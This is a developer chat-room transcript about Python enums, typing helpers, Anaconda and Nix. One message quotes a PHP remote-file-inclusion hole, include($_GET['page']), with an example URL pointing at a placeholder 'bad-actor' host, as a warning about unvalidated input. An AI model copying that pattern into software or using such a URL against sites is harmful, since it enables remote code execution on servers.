« first day (3418 days earlier)      last day (1753 days later) » 
00:00 - 20:0020:00 - 23:00

20:01
πŸ˜„ I'm often torn; don't want to copy/pasta too much (kudos for MIT licensing, but I feel bad any time maintenance/improvements get split), don't necessarily desire an additional dependency. But I'll give your lib a proper look over after work; it looks darn close.
Oh wait, that's not what get_origin does. You want this function, then.
Indeed.
get_origin would replace a bunch of my own code to work that out. I'll investigate how robust get_python_type is, then investigate recursion. Ran into one mind-blowing trouble spot, actually: from numbers import Number; from inspect import isabstract; assert isabstract(Number) ← boom. So that's one special case to get started…
I didn't publish that on pypi, so if you want to have it as a dependency you'll have to install it from github. Or just do the ol' Ctrl+C/Ctrl+V instead
20:06
@Aran-Fey I'll be sure to give due credit and include your license fragment. πŸ™‚
TYVM! πŸ˜„
afternoon cabbage
@Aran-Fey Ref: the "my very first implementation" link given earlier; that's where this will end up being used, as part of the AnnotationExtension.collect data ingress processing.
Do let me know if you find anything that doesn't work
except for TypeVars... I don't wanna implement those
I've added a relevant backlink to this chat in the code, and added links into your own for reference tonight. Will do.
20:17
@Aran-Fey I don't suppose you've got enum on your list of tutorials/explainers to write?
Nay. Is that worth writing about? The official docs are good enough, no?
I've spent quite a bit of time today trying to understand its purpose in Python. To my knowledge there still isn't an convincing argument on why I need them
@roganjosh did you just tell a poster their recommendation question was off-topic, then give them the recommendation they were looking for?
I don't see an issue with that as long as it's in comments and the question gets closed and roombaed
I know, I just thought it was funny
20:18
@MattDMo after VTCing, too. I misread the question and injected my own assumptions that they were using pandas in the first place
@roganjosh Honestly, yeah, I almost never use enums either
@Aran-Fey I found quite a number of high-voted answers that never really satisfy me on why they have any use
they get you rep
I started writing "Well, you can use them when ..." and then I drew a blank, so... sorry
To be fair to the answers I found, they went into tonnes of detail so rep is semi-deserved... still don't know why I need them
wim
wim
20:22
the pattern I've noticed is that the fans of enum also tend to suffer from overengineering their code
The reason that this came up for me is going over them in kotlin, and it sorta made sense with interface being a thing in Java. I just can't translate it to a decent example in Python
@wim I'm inclined to agree. Thanks for the assurance :)
cbg
has anyone try django formtools before?
wim
wim
> Frankly, enums are not that useful -- GvR
20:30
@roganjosh An enum is essentially just a specific type of flag, one where the flag may have one of a set of possible values, rather than simply being boolean: present or not. They're useful any time you have a very specific set of allowable options. A poor example being zip.DEFLATED as a constant. If multiple values were actually supported, this ought to be an enum. For something that's already suitable, ref: Z_BEST_SPEED.
@wim nice citation.
wim
wim
out of context quote :D
@amcgregor That's a specific example that has been lacking for me so far (days of the week, as commonly stated, seems a bit weak/crap because I really should have enough of a grip on what I'm processing and day 8 will never exist). I'll think about that one a bit more, thanks
Data structure-wise, there are flags (bool), sets (multiple bool in a single "field"), and enum (one of a set of choices). All related.
I use enums for command line args that specify one of several choices. Makes for easy conversion from string to testable type, easy update of choices passed to add_argument (by just enumerating over the enum class), and easy location of where the enum is referenced (vs grepping for strings that might be in single quotes, might be in double quotes).
20:34
I've used IntEnums for stupid hardware protocols
Counter-example where an enum is essential: <?php include($_GET['page']); ?> ← I've literally fired a client for having the equivalent of this. Without restriction. (He didn't realize url_fopen was a thing, thus: index.php?http://bad-actor/spam-all-the-things.phps was possible.) An enum would have saved the fellow responsible the time to look for new hosting. 😜
(Distinctly useful for validating/constraining user data.)
A dictionary can constrain values though with just .get() and a suitable check for None?
Yes and no. A dictionary being a mapping has keys that act as a literal set.
valid_inputs = {'a': 1, 'b': 2, 'c': 3}. If d is not in the dict, just break/return/something
valid_inputs['d'] ← straight access will explode, as expected.
20:42
To my mind it reduces to syntactic sugar
However, the sugar is nice and comes in with not having to manually define the values.
Ultimately in Python, almost everything is dictionaries all the way down (to C). The power of this is… hard to describe. To attempt to, I have a dictionary-like class implementation that permits one to "promote" a given instance to the status of class. This permits, in this case, plugins to cooperatively populate the dictionary with descriptors, then make those descriptors functional through promotion.
In that case, it's the implementation that isn't being conveyed to me in the existing answers on this. I'll try re-find the ones I was reading today. If Enum doesn't explode in just the same way with an invalid parameter, then I'm even more confused
Do we mean enumerate or enum.Enum?
@toonarmycaptain We've been chatting about enum.Enum, AFIK. πŸ˜‰
AH. I'm like...enumerate is useful and doesn't feel overengineered?
20:49
This doesn't illustrate an issue that's overcome to me. This doesn't illustrate with a particular case (and, my god, Aaron is fantastic with in-depth stuff). What about this? All I want is a definite example where something blows up if you don't use them
Without the explode-y example, I'm guess I'm just not going to have the lightbulb moment of why I need all these features
> a definite example where something blows up if you don't use them

Probably no such thing. Do you eschew list comprehensions? You don't have to use them, you can just do a for loop with append and nothing will blow up.
@toonarmycaptain I'll see your enumerate and raise you one iterate. An enumerate that can tell you're iterating the final iteration as you iterate it, even for unsized iterables. 😽 I think that may be the over-engineering you were looking for.
@roganjosh Problem with proving a negative. Code only "does things" when executed. If the code is never executed… how can it explode?
@amcgregor I wrote almost this exact code last week!
There are possible edge cases such as setting up a timer signal then not handling it later, but that's asynchronous deferral and non-handling of that deferred act, not "exploding by not running"… quite.
My automated testing code has to retry some steps due to timing issues, and I needed a decent idiom for looping, knowing when to give up, knowing if I had to try more than once, knowing if I was on the final try, etc., without ugly if this_try_num == total_try_nums - 1: and such
20:54
Ok, thanks guys. That's confirmed my base suspicion. So the next step for me is illustrating an example where it saves me some reasonable effort. (That's not me demanding that you come up with something, but it's my model of learning and this is one subject that seems particularly esoteric - remember, my original reason for mentioning this was to suggest that a practical example would be helpful on Aran-Fey's blog)
@roganjosh Look at almost any "fairly bare C" code exposed to the Python runtime. Zlib was just the first of many, many examples where the essence of the C enum type has "leaked through". Though, for historical reasons, almost entirely as module-level ALL_CAPS constants, not real enum instances.
Didn't stdlib enums start out as Ethan Furman's 3rd party enums that ended up being incorporated by python?
Pillow, the modern/supported PIL fork, has quite a set of additional enums or enum-alikes, given image formats have all sorts of "one of a set of" options, like pixel format (RGB, Greyscale, Indexed), and bit depth. (Usually not arbitrary; 8, 12, 16, or 24 bits being most common.)
This gist has my lightning talk from last spring PyTexas, using enums with argparse.
@PaulMcG Much appreciated! That looks like a great test bed to start breaking stuff to actually deconstruct the module and get an intuitive understanding
21:10
@PaulMcG alright, thanks guys
@PaulMcG Are you giving one this year?
rhubarb all
user11867329
^
@toonarmycaptain I submitted a talk about writing plusminus, but no word yet on whether it is accepted. I'll probably cook up a lightning talk otherwise.
21:28
Anyone have Anaconda on Windows and can launch Python for me from a command shell? I need something like the following:
$ python
Python 3.7.5 (default, Oct 25 2019, 15:51:11)
[GCC 7.3.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
(trying to help a poor Windows user troubleshoot...)
@AaronHall What exactly do you need, the version banner?
I can launch 3.6. What are you trying to debug?
Oh, actually, this laptop is 3.7. Still, not sure what you're looking for
crystal ball guess: trying to figure out if the user is using anaconda python or something else accidentally
rbrb
@smci yes
Just windows, no specific version required
21:36
Sorry I'm Mac
Does anyone have any advice on the conda issue I posted yesterday openssl prevents conda updating python 3.7 to 3.8 Other than the hack one person suggests in github.com/conda-forge/conda-forge.github.io/issues/701
@AaronHall can you link the issue/question?
One day maybe we'll figure out how to statically link openssl by default and we can all bask in the glory of secure free software...
@roganjosh nope - I'm installing it on a Windows desktop I have, now so I can help them...
I just want to know if it reports that it was built for Anaconda, Inc on Windows...
I'm working with an emailed screenshot. :)
Yes, it does
ah, I wonder how he got IPython with it... must be a Path issue...
@AaronHall The issue is actually that conda upgrade downgrades openssl from 1.1.x to 1.0.x... Hence Python and other dependencies can't be properly upgraded.
21:41
It comes with Anaconda
It's tricky to debug without seeing the error and it's not so easy to c/p from a command window
ah, in IPython it leaves out the "compiled by Anaconda" part...
(I've got it installed and running - that was fast...)
@smci Well this is something of a mess, because you can upgrade conda libraries using pip on Windows, depending on the library
@roganjosh Uhuh but when I tried to upgrade conda, it insisted it must downgrade or uninstall conda and everything else along with it. Bananas!
To paraphrase Aliens, "Let's just nuke this install from orbit"
@smci that's why I like anaconda, if stuff is messed up, I just delete and start over... but that's why I like nix too, and nix has 3.8...
Works in most (every, for me) cases :) The only thing I don't entrust pip with is Spyder
21:48
(can't use nix on 'doze though)
@AaronHall Yeah except I'm trying to remember which of my packages will require manual install again... but I suppose I'd better just bite the bullet and get on with it. Sigh...
Folks, which version of Python should I download: the latest 3.8.1, or something earlier?
If you're on Linux, I strongly recommend you check out Nix...
@NickAlexeev 3.8.1
It's back-compatible with everything else (Python 2 is out of action now; it's not supported)
@roganjosh Thanks
21:53
I suppose I should write a nix Python tutorial, if I can figure it out enough... but then I won't be able to answer any questions on it, hardly...
If I had to guess; Anaconda really wasn't born to address nix difficulties
@roganjosh Thanks for the tip! I had tried conda update --all but I just sat watching a spinner for 10+ minutes... I'l try again.
@smci #relate :P If it's on Windows, pip will work if you select Anaconda to to be the primary Python interpreter during installation (you also have to add the "not recommended" warning when you install it, which it adds it to the system PATH for you). This comes with no guarantee, I can only say that 3 years of reasonably-educated installations have caused no problems
@roganjosh It's a Monday...
@roganjosh the problem with Anaconda is that it's a Python distribution and (with conda) mostly a Python package manager (with small additions like R). Nix, on the other hand, is a build system, package manager, and even an operating system.
It also has other positives, like pure build environments, caches, and byte-reproducible builds.
22:07
@AaronHall Sure. But isn't the answer to that; "Anaconda was designed to fix compile issues with Windows"?
eh, maybe? But they pivoted to being an all-in-one Python data science platform. And for Windows, I guess it's good enough?
For Window's I'd say it's de facto. It's horrendous to install the scientific stack, so your options are Anaconda or the unofficial binaries
oh definitely. Before that, x64 issues were crazy bad in windows
I think I will always tell students to use Anaconda (since most use Windows) - and I will tell Linux users to check out Nix now...
I'll try writing up a Nix tutorial when I have some free time and maybe get some volunteers to test drive it for me before posting it live...
If you want numpy on Windows --> Anaconda. Anaconda doesn't have anything close to the utility in nix
22:12
I remember rewriting some instructions for py x64 on windows, after facing library compile issues: original instructions, my rewrite
Nix looks pretty neat at first glance.
... and I'm a conda fan1
$ type nix_python_async_shell
nix_python_async_shell is a function
nix_python_async_shell ()
{
    nix-shell --pure -p python38 --command "python -m asyncio"
}
Anaconda is certainly the best Windows implementation I've used so far, though. The MS Store version is OK, but no more so far.
Install nix, and put that function in your .bashrc - and you'll be doing Python 3.8 with the interactive asyncio.
gotta run, guys. ciao!
rbrb :)
22:22
@roganjosh Ok the conda update --all spinner's been going for 17 min already and no progress...
@smci That's gonna update everything IIRC, so beware of breaking changes
@roganjosh Yes I know. Hey can you post for us your ~/.condarc? Depending on the channel constraints, mine might never finish solving or updating.
Feb 1 at 18:00, by roganjosh
conda update spyder worked. Oddly. Since I didn't change anything (that I know of) in the base environment. That's now catapulted me to Pandas 1.0.0. It'll be fun floundering around there :P
@roganjosh Yes but conda update behavior depends heavily on your ~/.condarc, can you post it?
@smci I need to find that; the tables have turned in my understanding here
@smci as requested here
22:34
@roganjosh Thanks. Btw, always_yes: True is pretty dangerous given conda's propensity to downgrade things on an upgrade.
I'm not sure what you're getting at, though. I run everything in my base environment here before I port to Linux
@roganjosh As I mentioned in my case, last night conda upgrade cheerfully told me it proposed to remove every (Python-related) package in my environment. If I had always_yes turned on it would have gone ahead with that. (Due to the openssl version downgrade requirement.)
Interesting. conda update --all we have discussed before
Jan 3 at 12:26, by roganjosh
@smci 4.7.12. I think the issue in the end is that the current Anaconda version from here has dependency issues in what it's shipping. Downgrading conda works to fix the first issue, but then it keeps finding conflicts when you e.g. try to upgrade to Spyder 4. There are no irreconcilable conflicts but I think it can't find its way through dependencies. The solution was simply conda update --all
The only thing missing is an Admiral Ackbar gif
@roganjosh Yes I already acknowledged reading that, but I replied conda update behavior depends heavily on the ~/.condarc configuration. In my case I'm sitting here looking at a spinner 30 min after trying conda update --all. At some point I run out of patience and nuke my current environment and restart from the glowing ashes. Or else wait 6mths for Anaconda to fix this.
Nuke it
22:49
Hmm. But Anaconda are not officially supporting Python 3.8.x installs yet. I might just leave it as-is and wait 6 mths.
I just can't stand conda install. It takes a stupid amount of time, and then just fails. I've already given anecdotal evidence for just ditching it
Thanks for the advice. I'll stay on 3.7.6 for awhile, until Anaconda rolls forward. Is there any 3.8 difference I'd care about?
00:00 - 20:0020:00 - 23:00

« first day (3418 days earlier)      last day (1753 days later) »